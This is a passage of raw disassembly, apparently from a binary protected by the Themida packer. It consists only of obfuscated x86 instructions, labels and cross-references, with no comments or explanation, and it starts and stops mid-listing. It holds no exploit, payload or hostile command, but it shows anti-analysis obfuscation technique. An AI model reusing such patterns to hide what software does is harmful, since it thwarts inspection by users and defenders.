Themida_:005ACBD0j mov ebx, 40F80646h xor ebx, edx jmp loc_59A73E ; --------------------------------------------------------------------------- loc_5A9C79: ; CODE XREF: Themida_:005ACE94j push esp mov edx, [esp] jmp loc_5A486B ; --------------------------------------------------------------------------- loc_5A9C82: ; CODE XREF: Themida_:005A9D92j pop eax xor ebp, eax pop eax sub eax, ebp mov ebp, [esp] jmp loc_5AB599 ; --------------------------------------------------------------------------- loc_5A9C90: ; CODE XREF: Themida_:005A18B6j ; Themida_:005A3DA9j jz loc_5A765C jmp loc_5A1396 ; --------------------------------------------------------------------------- loc_5A9C9B: ; CODE XREF: Themida_:loc_598C19j lodsd sub esp, 4 mov [esp], ebp push 38784511h mov ebp, [esp] push eax mov eax, esp push ebx jmp loc_5A9094 ; --------------------------------------------------------------------------- loc_5A9CB6: ; CODE XREF: Themida_:0059F9D5j mov eax, ebp pop ebp jmp loc_5993DA ; --------------------------------------------------------------------------- loc_5A9CBE: ; CODE XREF: Themida_:005A63E4j and eax, 12617D03h or eax, 11E1BFAh shl eax, 5 jmp loc_59B972 ; --------------------------------------------------------------------------- loc_5A9CD0: ; CODE XREF: Themida_:loc_5A6916j sub ebp, 65002378h jmp loc_5A63C1 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A9CE3: ; CODE XREF: Themida_:0059BF91j mov [esp], edi push esp push dword ptr [esp] mov edi, [esp] sub esp, 4 jmp loc_5A3643 ; --------------------------------------------------------------------------- loc_5A9CF5: ; CODE XREF: Themida_:005A39D8j add edi, ecx pop ecx push edx mov edx, 69E47673h jmp loc_5AD4EF ; --------------------------------------------------------------------------- loc_5A9D03: ; CODE XREF: Themida_:005A1370j shr esi, 5 jmp loc_5A134B ; --------------------------------------------------------------------------- loc_5A9D0B: ; CODE XREF: Themida_:0059E68Fj xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push ebx sub esp, 4 mov [esp], ebp push esi mov esi, 5B004CEBh push ecx mov ecx, 1C1D28FDh mov ebp, ecx pop ecx sub ebp, 0F190B86h add ebp, esi add ebp, 0F190B86h mov esi, [esp] jmp loc_59BB71 ; --------------------------------------------------------------------------- loc_5A9D44: ; CODE XREF: Themida_:loc_59E954j add ebx, 565F77A1h jmp loc_59C133 ; --------------------------------------------------------------------------- loc_5A9D4F: ; CODE XREF: Themida_:005ABB77j sub dl, 1 jmp loc_5A616C ; --------------------------------------------------------------------------- loc_5A9D57: ; CODE XREF: Themida_:0059D42Dj inc ah add ah, 0E7h sub cl, ah pop eax xor cl, 0C6h sub bl, cl pop ecx jmp loc_598793 ; --------------------------------------------------------------------------- loc_5A9D6A: ; CODE XREF: Themida_:00599771j mov ebp, 66DD34ADh sub eax, ebp mov ebp, [esp] add esp, 4 jmp loc_599BE2 ; --------------------------------------------------------------------------- loc_5A9D7F: ; CODE XREF: Themida_:loc_5A7D38j inc ebx jmp loc_5ABE17 ; --------------------------------------------------------------------------- loc_5A9D85: ; CODE XREF: Themida_:005A6C10j jz loc_59A9D0 add eax, 0B90A6871h mov ebp, eax jmp loc_5A9C82 ; --------------------------------------------------------------------------- loc_5A9D97: ; CODE XREF: Themida_:0059ABD0j ; Themida_:0059FB85j pop edi push 2915h mov [esp], ebp jmp loc_5A2E89 ; --------------------------------------------------------------------------- loc_5A9DA5: ; CODE XREF: Themida_:0059914Dj pop ebx push edx mov edx, 4 push esi mov esi, 14895E74h push ebx mov ebx, 3CED71B9h sub esi, ebx pop ebx sub esi, 1D3A081Ch jmp loc_5A857C ; --------------------------------------------------------------------------- loc_5A9DC6: ; CODE XREF: Themida_:005AE8F5j mov [esp], ecx push 60E1h mov [esp], ebp mov ebp, 795F2983h add ebp, 1 push edi mov edi, 2FC10CA9h dec edi shr edi, 2 add edi, 6D6EE65Ch xor ebp, edi pop edi mov ecx, ebp mov ebp, [esp] push 35F1h mov [esp], edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx add edi, 4 xchg edi, [esp] pop esp jmp loc_59F7B3 ; --------------------------------------------------------------------------- loc_5A9E16: ; CODE XREF: Themida_:005A9704j or ebx, 6C8414FCh jz loc_5A44B3 not ebx add ebx, 0B7C4B0F8h push ebx jmp loc_5AD05B ; --------------------------------------------------------------------------- loc_5A9E30: ; CODE XREF: Themida_:005987FDj mov ecx, [esp] add esp, 4 jmp loc_5A2DE8 ; --------------------------------------------------------------------------- loc_5A9E3B: ; CODE XREF: Themida_:005AE5B6j add word ptr [esp+2], 3D96h push bp jmp loc_59EAE0 ; --------------------------------------------------------------------------- loc_5A9E49: ; CODE XREF: Themida_:loc_5A7794j ; Themida_:005AB6AEj ... pop esp shr eax, 12h xor eax, ecx sub esp, 4 mov [esp], eax push ebp push dword ptr [esp+4] jmp loc_59F16F ; --------------------------------------------------------------------------- loc_5A9E5F: ; CODE XREF: Themida_:005A0890j pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax mov eax, 60765728h not eax add eax, 0C810EE5Eh sub ecx, eax pop eax add edx, ecx mov ecx, [esp] jmp loc_598FF8 ; --------------------------------------------------------------------------- loc_5A9E89: ; CODE XREF: Themida_:005A36EDj pop edx add eax, edx jmp loc_5AA8CA ; --------------------------------------------------------------------------- loc_5A9E91: ; CODE XREF: Themida_:005A8D75j sub eax, ebp add eax, 6E231FFDh jmp loc_59C96C ; --------------------------------------------------------------------------- loc_5A9E9D: ; CODE XREF: Themida_:005AE687j mov [esp], edx push esp pop edx jmp loc_59B3A3 ; --------------------------------------------------------------------------- loc_5A9EA7: ; CODE XREF: Themida_:005AD4EAj xor eax, ecx jmp loc_5A57C5 ; --------------------------------------------------------------------------- loc_5A9EAE: ; CODE XREF: Themida_:loc_5A614Cj xor bl, 19h jmp loc_5A8803 ; --------------------------------------------------------------------------- loc_5A9EB6: ; CODE XREF: Themida_:loc_59A35Cj dec ebx jno loc_5A6911 jmp loc_59ADA7 ; --------------------------------------------------------------------------- jmp loc_59F46F ; --------------------------------------------------------------------------- push ebx loc_5A9EC8: ; CODE XREF: Themida_:005AB41Cj add esp, 4 pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] push ebp jmp loc_59927B ; --------------------------------------------------------------------------- loc_5A9EDE: ; CODE XREF: Themida_:0059FFB6j sub eax, ecx sub eax, 9F81A20h pop ecx sub ebp, 1AED1D47h sub ebp, 211A5681h add ebp, eax add ebp, 211A5681h add ebp, 1AED1D47h pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5A530A ; --------------------------------------------------------------------------- loc_5A9F0F: ; CODE XREF: Themida_:00599788j add edi, ebp mov ebp, [esp] push ebp jmp loc_5A8477 ; --------------------------------------------------------------------------- loc_5A9F1A: ; CODE XREF: Themida_:005A8666j mov ebx, 4BBA00C5h jmp loc_5ABD72 ; --------------------------------------------------------------------------- loc_5A9F24: ; CODE XREF: Themida_:005AC667j add edx, 32B101F7h push ebp mov ebp, 4DB8228Bh jmp loc_5A2DA8 ; --------------------------------------------------------------------------- loc_5A9F35: ; CODE XREF: Themida_:005AB22Dj xor [esp], esi xor esi, [esp] mov esp, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_59D327 ; --------------------------------------------------------------------------- loc_5A9F4C: ; CODE XREF: Themida_:005989C2j pop eax push 53h mov [esp], esi mov esi, 8650A23h sub ebp, esi pop esi sub ebp, edi add ebp, 8650A23h jmp loc_5A36F7 ; --------------------------------------------------------------------------- loc_5A9F6A: ; CODE XREF: Themida_:005A1CC1j push edx push esp pop edx jmp loc_5ACE7C ; --------------------------------------------------------------------------- loc_5A9F72: ; CODE XREF: Themida_:005ACE77j mov ax, [esp] push 1E87h mov [esp], ebp jmp loc_5A0E9A ; --------------------------------------------------------------------------- loc_5A9F83: ; CODE XREF: Themida_:005A9852j pop eax jmp loc_599F16 ; --------------------------------------------------------------------------- loc_5A9F89: ; CODE XREF: Themida_:005A8931j xor ebp, 5C956FBEh jno loc_5A7B58 or ebp, 49694785h jo loc_5A2DFA push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A9FB0: ; CODE XREF: Themida_:loc_5A6C2Cj and esi, 397391Bh jnz loc_5A0F6E not esi push ebx mov ebx, 0FF7FFEF9h xor esi, ebx mov ebx, [esp] loc_5A9FC9: ; CODE XREF: Themida_:005ADFC7j xor ebx, ecx not ecx xor ebx, ecx xor ecx, ebx xor ebx, ecx push 60F0h mov [esp], esi sub esp, 4 mov [esp], ebx jmp loc_5A74B1 ; --------------------------------------------------------------------------- loc_5A9FE9: ; CODE XREF: Themida_:005AD8D3j mov [esp], ebp jmp loc_5AA15D ; --------------------------------------------------------------------------- loc_5A9FF1: ; CODE XREF: Themida_:005A2250j sub esp, 4 mov [esp], esp jmp loc_59E7B3 ; --------------------------------------------------------------------------- loc_5A9FFF: ; CODE XREF: Themida_:005AB05Ej add ecx, ebp pop ebp push esi sub esp, 4 jmp loc_5A5E44 ; --------------------------------------------------------------------------- loc_5AA00E: ; CODE XREF: Themida_:005ACA19j push edx jmp loc_5AC13C ; --------------------------------------------------------------------------- loc_5AA014: ; CODE XREF: Themida_:005ADA62j mov ebx, 4 add eax, 2D77484Dh add eax, ebx sub esp, 4 mov [esp], esi mov esi, 2D77484Dh sub eax, esi pop esi pop ebx jmp loc_5A5BB3 ; --------------------------------------------------------------------------- loc_5AA037: ; CODE XREF: Themida_:loc_5A727Ej add al, 85h and al, 9Eh jmp loc_5A7510 ; --------------------------------------------------------------------------- loc_5AA040: ; CODE XREF: Themida_:0059C8AFj ; Themida_:005AB5E9j sub eax, esi pop esi add eax, 3A4F1A7Dh jmp loc_5A2C28 ; --------------------------------------------------------------------------- loc_5AA04D: ; CODE XREF: Themida_:005AECF2j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push dword ptr [esp] push dword ptr [esp] jmp loc_5987B9 ; --------------------------------------------------------------------------- loc_5AA062: ; CODE XREF: Themida_:005A3660j mov eax, 342E3272h add esi, eax pop eax pop eax xchg esi, [esp] mov esp, [esp] div ecx jmp loc_5A4CAA ; --------------------------------------------------------------------------- loc_5AA078: ; CODE XREF: Themida_:0059D595j jnz loc_599BD5 xor ebx, 60763E99h mov ebp, ebx jmp loc_5A1EB4 ; --------------------------------------------------------------------------- loc_5AA08B: ; CODE XREF: Themida_:005A1D73j pop esi push 3CBCh mov [esp], ebp mov ebp, edx jmp loc_5AC767 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5A72BB ; --------------------------------------------------------------------------- loc_5AA0A4: ; CODE XREF: Themida_:005A3F0Fj ; Themida_:005AC827j xchg esi, [esp] jmp loc_5A930D ; --------------------------------------------------------------------------- loc_5AA0AC: ; CODE XREF: Themida_:005A912Aj mov ah, 5Eh add bl, ah pop eax add bl, 0F3h add bl, al push ecx push eax mov al, 62h sub al, 31h jb loc_5ACCFA inc al jo loc_5A495A or al, 0A2h jp loc_5A46B4 or al, 5Bh jns loc_5AF205 dec al loc_5AA0DC: ; CODE XREF: Themida_:0059BFDDj push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi pop ecx pop esi xor eax, ecx jmp loc_5ACF73 ; --------------------------------------------------------------------------- loc_5AA0F8: ; CODE XREF: Themida_:005A07D6j add edx, 506A2FC0h push esi mov esi, 1DFA2BBBh sub edx, esi pop esi add edx, ecx add edx, 1DFA2BBBh sub edx, 506A2FC0h pop ecx add edx, 4 xchg edx, [esp] pop esp xchg eax, [esp] jmp loc_59BAD7 ; --------------------------------------------------------------------------- loc_5AA125: ; CODE XREF: Themida_:0059E0B3j sub ecx, 0FFFFFFFFh xor ecx, 17E60F97h mov ebx, ecx pop ecx sub ebx, 10362941h jge loc_59E954 jmp loc_59A850 ; --------------------------------------------------------------------------- pop ebp add edi, 0AD6CD5ECh mov ah, 0A6h pop ecx loc_5AA14F: ; CODE XREF: Themida_:005A2650j add eax, edx pop edx xchg eax, [esp] mov esp, [esp] jmp loc_5AA9CB ; --------------------------------------------------------------------------- loc_5AA15D: ; CODE XREF: Themida_:005A9FECj push esp jmp loc_5AF4B4 ; --------------------------------------------------------------------------- loc_5AA163: ; CODE XREF: Themida_:005A1BCDj mov [esp], ebp push 0F78h mov [esp], ebx jmp loc_59FA73 ; --------------------------------------------------------------------------- loc_5AA173: ; CODE XREF: Themida_:005AAC16j push 5A11h jmp loc_59AC50 ; --------------------------------------------------------------------------- loc_5AA17D: ; CODE XREF: Themida_:005A4949j ; Themida_:005A8AEDj mov dh, ah mov cl, dh pop edx pop eax and bh, cl jmp loc_5AB490 ; --------------------------------------------------------------------------- loc_5AA18A: ; CODE XREF: Themida_:00599304j sub edi, 0BA4EAB4Ch jmp loc_5ABE17 ; --------------------------------------------------------------------------- loc_5AA195: ; CODE XREF: Themida_:0059BD9Aj mov esi, [esp] add esp, 4 xor esi, 396819B8h mov [edi+20h], esi mov esi, [esp] add esp, 4 neg dword ptr [edi+20h] jle loc_5A4783 push eax sub esp, 4 mov [esp], ecx jmp loc_5AB966 ; --------------------------------------------------------------------------- loc_5AA1C5: ; CODE XREF: Themida_:005A456Ej push 70D1h mov [esp], edx push ecx mov ch, 0CCh sub ch, 5Fh and ch, 0BEh jbe loc_59ADC8 add ch, 77h not ch jmp loc_5A1540 ; --------------------------------------------------------------------------- loc_5AA1E6: ; CODE XREF: Themida_:005A67DAj sub esi, 0D9A4F25h xor edx, esi mov esi, [esp] add esp, 4 jmp loc_5A1FBD ; --------------------------------------------------------------------------- loc_5AA1F9: ; CODE XREF: Themida_:0059A52Ej sub eax, 14FB6FCDh jmp loc_5A7F13 ; --------------------------------------------------------------------------- loc_5AA203: ; CODE XREF: Themida_:005A9398j add edi, 822DB06Eh add ebp, 7F920035h jmp loc_59A425 ; --------------------------------------------------------------------------- loc_5AA214: ; CODE XREF: Themida_:005AD881j push edx mov edx, 1 add ebx, edx jmp loc_59A054 ; --------------------------------------------------------------------------- loc_5AA221: ; CODE XREF: Themida_:005A44A1j jmp loc_5AF1BD ; --------------------------------------------------------------------------- loc_5AA226: ; CODE XREF: Themida_:005A3199j push edi mov edi, esp push ebp mov ebp, 4 sub edi, 74DC6854h sub edi, 22DB2796h add edi, ebp add edi, 22DB2796h jmp loc_5A21A4 ; --------------------------------------------------------------------------- loc_5AA248: ; CODE XREF: Themida_:005A6719j mov esi, esp add esi, 4 sub esi, 4 jmp loc_59C532 ; --------------------------------------------------------------------------- loc_5AA25B: ; CODE XREF: Themida_:005AB75Dj add esp, 4 xor ebx, eax jmp loc_5AA4F9 ; --------------------------------------------------------------------------- loc_5AA268: ; CODE XREF: Themida_:005A041Cj xor ebx, [esp] xor [esp], ebx jmp loc_5A0D0C ; --------------------------------------------------------------------------- loc_5AA273: ; CODE XREF: Themida_:00599A6Bj push dword ptr [esp] pop ebx push 0AF8h mov [esp], edx mov edx, esp jmp loc_59E109 ; --------------------------------------------------------------------------- loc_5AA286: ; CODE XREF: Themida_:005AC39Fj push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5988CC ; --------------------------------------------------------------------------- loc_5AA297: ; CODE XREF: Themida_:005A44F8j jo loc_59B23A jmp loc_5A1652 ; --------------------------------------------------------------------------- lodsb jmp loc_5A456D ; --------------------------------------------------------------------------- loc_5AA2A8: ; CODE XREF: Themida_:0059909Ej pop ecx and ecx, 6CBD0FB0h xor ecx, 23117777h sub eax, ecx pop ecx add eax, ebx jmp loc_5A33A4 ; --------------------------------------------------------------------------- loc_5AA2BF: ; CODE XREF: Themida_:005998B0j jg loc_5A332E jmp loc_5A89EA ; --------------------------------------------------------------------------- push ebp jmp loc_5A4D39 ; --------------------------------------------------------------------------- pop ebx loc_5AA2D1: ; CODE XREF: Themida_:005A0610j sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_5A55F0 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5A59A9 ; --------------------------------------------------------------------------- loc_5AA2E6: ; CODE XREF: Themida_:005A278Fj pop edi push dword ptr [esp] jmp loc_59CE22 ; --------------------------------------------------------------------------- loc_5AA2EF: ; CODE XREF: Themida_:005AB100j pop esi push eax mov eax, 23427930h sub ebx, eax jmp loc_5AE58F ; --------------------------------------------------------------------------- loc_5AA2FD: ; CODE XREF: Themida_:005AD3AFj js loc_59BB7F shl edi, 5 jns loc_5A6C96 mov bh, dh add al, 1 loc_5AA310: ; CODE XREF: Themida_:00599F75j mov edx, 76427087h jmp loc_59A298 ; --------------------------------------------------------------------------- loc_5AA31A: ; CODE XREF: Themida_:005A9B50j push esi mov esi, 1CCD862h add edx, esi pop esi sub ecx, edx pop edx sub ebp, ecx pop ecx add ebp, edi add ebp, 34A47916h mov edi, [esp] jmp loc_5AE368 ; --------------------------------------------------------------------------- loc_5AA339: ; CODE XREF: Themida_:005A7B05j mov ecx, [esp] add esp, 4 push 4465h mov [esp], edi sub esp, 4 mov [esp], ebx jmp loc_5A7440 ; --------------------------------------------------------------------------- loc_5AA352: ; CODE XREF: Themida_:0059AE2Aj push 38DCh mov [esp], eax mov ah, 88h push ax xchg bl, [esp+1] not bl jmp loc_5AF497 ; --------------------------------------------------------------------------- loc_5AA369: ; CODE XREF: Themida_:005AF4D4j push edx mov edx, esp jmp loc_5ADD06 ; --------------------------------------------------------------------------- loc_5AA371: ; CODE XREF: Themida_:005A4ACBj add esp, 4 sub esp, 4 mov [esp], edi jmp loc_59FBA0 ; --------------------------------------------------------------------------- loc_5AA382: ; CODE XREF: Themida_:005A1F75j mov [esp], edi mov edi, 73B4C40h shl edi, 2 or edi, 6F380851h and edi, 376E1894h push ebx jmp loc_59B137 ; --------------------------------------------------------------------------- loc_5AA39F: ; CODE XREF: Themida_:005A0DC9j shl eax, 5 shr eax, 8 add eax, 24483290h sub eax, 0B1331EFBh xor ebp, eax pop eax neg ebp jmp loc_5A46F7 ; --------------------------------------------------------------------------- loc_5AA3B9: ; CODE XREF: Themida_:005ACFD4j mov edx, ecx pop ecx jmp loc_599F55 ; --------------------------------------------------------------------------- loc_5AA3C1: ; CODE XREF: Themida_:005A0A99j mov edi, 4 add esi, edi mov edi, [esp] push 7143h mov [esp], edx jmp loc_5AC180 ; --------------------------------------------------------------------------- loc_5AA3D8: ; CODE XREF: Themida_:005A98CDj sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp push 5A10h mov [esp], esp add dword ptr [esp], 4 pop ebp push ebx push ebp mov ebp, 4 push ebp sub dword ptr [esp], 18A52A89h pop ebx push ebp mov ebp, 18A52A89h add ebx, ebp pop ebp jmp loc_5A6DA4 ; --------------------------------------------------------------------------- loc_5AA410: ; CODE XREF: Themida_:loc_5A194Fj sub esi, 58FCF9A3h jmp loc_5AD96F ; --------------------------------------------------------------------------- loc_5AA41B: ; CODE XREF: Themida_:005A5861j add esi, 6829181Bh push dword ptr [esp] jmp loc_59D620 ; --------------------------------------------------------------------------- loc_5AA429: ; CODE XREF: Themida_:005A2EF7j push esp pop ebp push 3A2Bh mov [esp], edx push 676Ah mov [esp], esi mov esi, 1AE036BAh push 720Ch mov [esp], ebp jmp loc_59BD1C ; --------------------------------------------------------------------------- loc_5AA44D: ; CODE XREF: Themida_:005A9775j push ebp jmp loc_5A00D0 ; --------------------------------------------------------------------------- loc_5AA453: ; CODE XREF: Themida_:0059DD5Cj or eax, 7B651D28h xor eax, 804095h add esi, eax pop eax xor esi, 3A12BBEh add edx, esi pop esi jmp loc_59AA7A ; --------------------------------------------------------------------------- loc_5AA46E: ; CODE XREF: Themida_:005A07E1j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AA473: ; CODE XREF: Themida_:005A52BAj jmp loc_5A39F0 ; --------------------------------------------------------------------------- loc_5AA478: ; CODE XREF: Themida_:005A2B0Cj add [esp+4], edi mov edi, [esp] push edi push esp pop edi jmp loc_5A4686 ; --------------------------------------------------------------------------- loc_5AA487: ; CODE XREF: Themida_:0059FED0j mov ecx, 4 jmp loc_59D5AE ; --------------------------------------------------------------------------- loc_5AA491: ; CODE XREF: Themida_:005ADB38j xor esi, eax pop eax push edi jmp loc_598D6B ; --------------------------------------------------------------------------- loc_5AA49A: ; CODE XREF: Themida_:005AB096j ; Themida_:005AD846j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AA49F: ; CODE XREF: Themida_:005A2B5Cj pop bx push ecx mov cl, 1Eh push ebx jmp loc_5A9BF4 ; --------------------------------------------------------------------------- loc_5AA4AA: ; CODE XREF: Themida_:005AD5A0j mov esi, 5B7656CAh add esi, 0A489A937h and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_59EB15 ; --------------------------------------------------------------------------- loc_5AA4C8: ; CODE XREF: Themida_:005A5387j pop esi pop dword ptr [esp] pop esp push dword ptr [esp] pop eax push edi push esp pop edi push eax mov eax, 5B9602D3h jmp loc_59E3AE ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edi jmp loc_5AA609 ; --------------------------------------------------------------------------- loc_5AA4F9: ; CODE XREF: Themida_:005AA263j push small word ptr [eax] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AA501: ; CODE XREF: Themida_:005AACA8j mov [esp], eax push ebx jmp loc_59C7B2 ; --------------------------------------------------------------------------- loc_5AA50A: ; CODE XREF: Themida_:005A9211j add esp, 4 push ebx mov ebx, 43F63D03h and ebx, 2736679Dh jnb loc_5A8576 push ecx jmp loc_59E89A ; --------------------------------------------------------------------------- and esi, 4A7829BAh push esi loc_5AA52F: ; CODE XREF: Themida_:0059C6C4j xor ecx, 2B50F99Dh jmp loc_5A7B03 ; --------------------------------------------------------------------------- loc_5AA53A: ; CODE XREF: Themida_:0059DE9Aj ; Themida_:005A53E4j pop ecx mov ecx, edi mov edi, [esp] add esp, 4 push eax mov eax, 40496A21h add eax, 67654108h shr eax, 7 neg eax add eax, 6B064F36h add eax, 7C8B0C2Ah mov esi, eax pop eax add esi, ecx pop ecx shr esi, 8 or esi, 59D724CEh sub esi, 1 jmp loc_59BF96 ; --------------------------------------------------------------------------- loc_5AA574: ; CODE XREF: Themida_:005AE841j push dword ptr [esp] pop edx jmp loc_5AF23B ; --------------------------------------------------------------------------- loc_5AA57D: ; CODE XREF: Themida_:005997F1j mov eax, esp jmp loc_5A57EA ; --------------------------------------------------------------------------- loc_5AA584: ; CODE XREF: Themida_:loc_5A085Aj neg ebp jbe loc_5A9B2B push eax mov eax, 0CEB7AB35h xor ebp, eax pop eax mov edx, ebp mov ebp, ecx loc_5AA599: ; CODE XREF: Themida_:005AF076j mov ebp, 56E95F0Ah sub ebp, 56E95F06h mov eax, ebp pop ebp sub esi, eax jmp loc_599DF0 ; --------------------------------------------------------------------------- loc_5AA5AE: ; CODE XREF: Themida_:005A7D9Dj mov ecx, 546E19CBh and ecx, 12E329E0h and ecx, 3C4A58A3h jmp loc_598C1E ; --------------------------------------------------------------------------- loc_5AA5C4: ; CODE XREF: Themida_:005A73F2j pop esi jmp loc_59C147 ; --------------------------------------------------------------------------- loc_5AA5CA: ; CODE XREF: Themida_:005A3F40j jl loc_59BAF9 sub eax, 8F87E65Bh mov ebp, eax pop eax push ebx push eax mov eax, 433C5957h mov ebx, eax jmp loc_5A5453 ; --------------------------------------------------------------------------- loc_5AA5E6: ; CODE XREF: Themida_:005A4E85j sub edi, esi jmp loc_59EE4D ; --------------------------------------------------------------------------- loc_5AA5ED: ; CODE XREF: Themida_:005A1B38j add ecx, ebp pop ebp push eax mov eax, 368929B2h jmp loc_59B65C ; --------------------------------------------------------------------------- loc_5AA5FB: ; CODE XREF: Themida_:005A7469j or ebx, eax pop eax add ebx, 8400E01Ah jmp loc_5AE524 ; --------------------------------------------------------------------------- loc_5AA609: ; CODE XREF: Themida_:005AA4F4j push 6883h push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_59DCC0 ; --------------------------------------------------------------------------- loc_5AA61B: ; CODE XREF: Themida_:005AD700j or ebx, eax jmp loc_5A881E ; --------------------------------------------------------------------------- loc_5AA622: ; CODE XREF: Themida_:0059CA6Aj push esi jmp loc_5A53CC ; --------------------------------------------------------------------------- loc_5AA628: ; CODE XREF: Themida_:005A0DE5j push edi mov edi, 4 add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], ecx push esp pop ecx jmp loc_5A4C82 ; --------------------------------------------------------------------------- loc_5AA648: ; CODE XREF: Themida_:005A68B5j xchg ebx, [esp] pop esp jmp loc_5A3AB2 ; --------------------------------------------------------------------------- loc_5AA651: ; CODE XREF: Themida_:0059B382j add cl, bl sub cl, 44h jmp loc_59952A ; --------------------------------------------------------------------------- loc_5AA65B: ; CODE XREF: Themida_:0059E2E0j add ebx, 3A9931B0h sub eax, ebx pop ebx push 0AEFh mov [esp], edi jmp loc_5AB06A ; --------------------------------------------------------------------------- loc_5AA671: ; CODE XREF: Themida_:005A73B7j mov esi, [esp] add esp, 4 not ecx push edi mov edi, 0C762B3Eh jmp loc_59CB05 ; --------------------------------------------------------------------------- push 5109h push 7045h push esp pop dword ptr [esp] push ebp push edi mov edi, 4 mov ebp, edi pop edi sub dword ptr [esp+4], 2DA3138Bh add dword ptr [esp+4], 6B530916h add [esp+4], ebp sub dword ptr [esp+4], 6B530916h add dword ptr [esp+4], 2DA3138Bh push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] jmp loc_598B66 ; --------------------------------------------------------------------------- loc_5AA6D2: ; CODE XREF: Themida_:005A712Aj mov edx, esp add edx, 4 push ebp mov ebp, 4 add edx, ebp jmp loc_5A513D ; --------------------------------------------------------------------------- loc_5AA6E7: ; CODE XREF: Themida_:005A61E1j push 4E9Bh mov [esp], edi mov edi, 369753DAh shl edi, 1 shl edi, 2 sub edi, 732B3A73h sub esi, edi mov edi, [esp] add esp, 4 jmp loc_5AC5AD ; --------------------------------------------------------------------------- loc_5AA70F: ; CODE XREF: Themida_:00598FB2j add esi, 4 push eax push edx mov edx, 1A233125h jmp loc_5A62E4 ; --------------------------------------------------------------------------- loc_5AA721: ; CODE XREF: Themida_:005A2CC7j add dword ptr [esp], 4 mov ebp, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push eax mov eax, 4 add ecx, eax pop eax xchg ecx, [esp] jmp loc_5A8AB9 ; --------------------------------------------------------------------------- loc_5AA74A: ; CODE XREF: Themida_:005A4EBEj jb loc_5AE75F add ebp, 0DBB3D02Bh inc ebp jmp loc_59B172 ; --------------------------------------------------------------------------- loc_5AA75C: ; CODE XREF: Themida_:005A5BAEj mov esp, [esp] ror dword ptr [esp], cl pushf jmp loc_5A39EB ; --------------------------------------------------------------------------- loc_5AA768: ; CODE XREF: Themida_:0059979Dj pop ebp sub eax, edi pop edi mov edx, [esp] push ecx jmp loc_5A1BEA ; --------------------------------------------------------------------------- loc_5AA775: ; CODE XREF: Themida_:005AC1C8j jnz loc_5AD8D8 sub esi, 8C446A95h mov ebp, esi pop esi and dh, 52h loc_5AA787: ; CODE XREF: Themida_:005AEC80j sub edi, 47E417h mov esi, edi mov edi, [esp] add esp, 4 xor ebx, esi mov esi, [esp] jmp loc_5A21B0 ; --------------------------------------------------------------------------- loc_5AA7A2: ; CODE XREF: Themida_:005A3483j add esi, 4 jmp loc_5A08C7 ; --------------------------------------------------------------------------- loc_5AA7AD: ; CODE XREF: Themida_:005AA873j push edi jmp loc_5ADDE7 ; --------------------------------------------------------------------------- loc_5AA7B3: ; CODE XREF: Themida_:005A5FE6j xor ebx, eax mov eax, [esp] add esp, 4 and ebx, 38DB6CA0h push edx mov edx, 65A04A48h or edx, 2623614Bh jmp loc_5AE4A5 ; --------------------------------------------------------------------------- loc_5AA7D2: ; CODE XREF: Themida_:005A49DCj mov [esp], edi mov edi, 3F7F625Ch push edi pop ebx pop edi push esi mov esi, 57E70D63h shr esi, 2 add esi, 4A2228F1h push ebp mov ebp, 4CE63D8Ch or esi, ebp jmp loc_59BCA8 ; --------------------------------------------------------------------------- loc_5AA7F9: ; CODE XREF: Themida_:005AB0D1j pop ebp shr eax, 6 shr eax, 3 shr eax, 6 jmp loc_5A827A ; --------------------------------------------------------------------------- loc_5AA808: ; CODE XREF: Themida_:005A353Fj sub esp, 4 mov [esp], edi mov edi, 3AE76D6h shr edi, 6 add edi, 0FFFFFFFFh add edi, 331E82C1h add eax, edi pop edi jmp loc_59D3DB ; --------------------------------------------------------------------------- loc_5AA82A: ; CODE XREF: Themida_:005AB63Ej add esi, 210C7189h jmp loc_59AB0D ; --------------------------------------------------------------------------- loc_5AA835: ; CODE XREF: Themida_:005A8150j push eax mov eax, esp jmp loc_5AE538 ; --------------------------------------------------------------------------- loc_5AA83D: ; CODE XREF: Themida_:00599A31j push 63B4249Ah mov ecx, [esp] add esp, 4 shr ecx, 7 sub ecx, 0B2F86432h jmp loc_5AAAD7 ; --------------------------------------------------------------------------- loc_5AA856: ; CODE XREF: Themida_:005A1407j sub eax, 5E5041C6h jp loc_5A5AA2 add eax, 34DEEA45h jmp loc_5A8633 ; --------------------------------------------------------------------------- mov ch, ah loc_5AA86D: ; CODE XREF: Themida_:00598A10j push ebx mov ebx, 495D726Dh jmp loc_5AA7AD ; --------------------------------------------------------------------------- loc_5AA878: ; CODE XREF: Themida_:005ABF0Dj add edi, 4 xchg edi, [esp] pop esp jmp loc_59A361 ; --------------------------------------------------------------------------- loc_5AA887: ; CODE XREF: Themida_:005988B5j ; Themida_:005A42D6j push edx mov edx, esp push ebx mov ebx, 1BDC02E2h push 30FEh mov [esp], eax mov eax, 2DEF4BCDh push edx mov edx, 784527BEh add eax, edx pop edx dec eax push 2858h mov [esp], ebp mov ebp, 3E290FD9h or eax, ebp 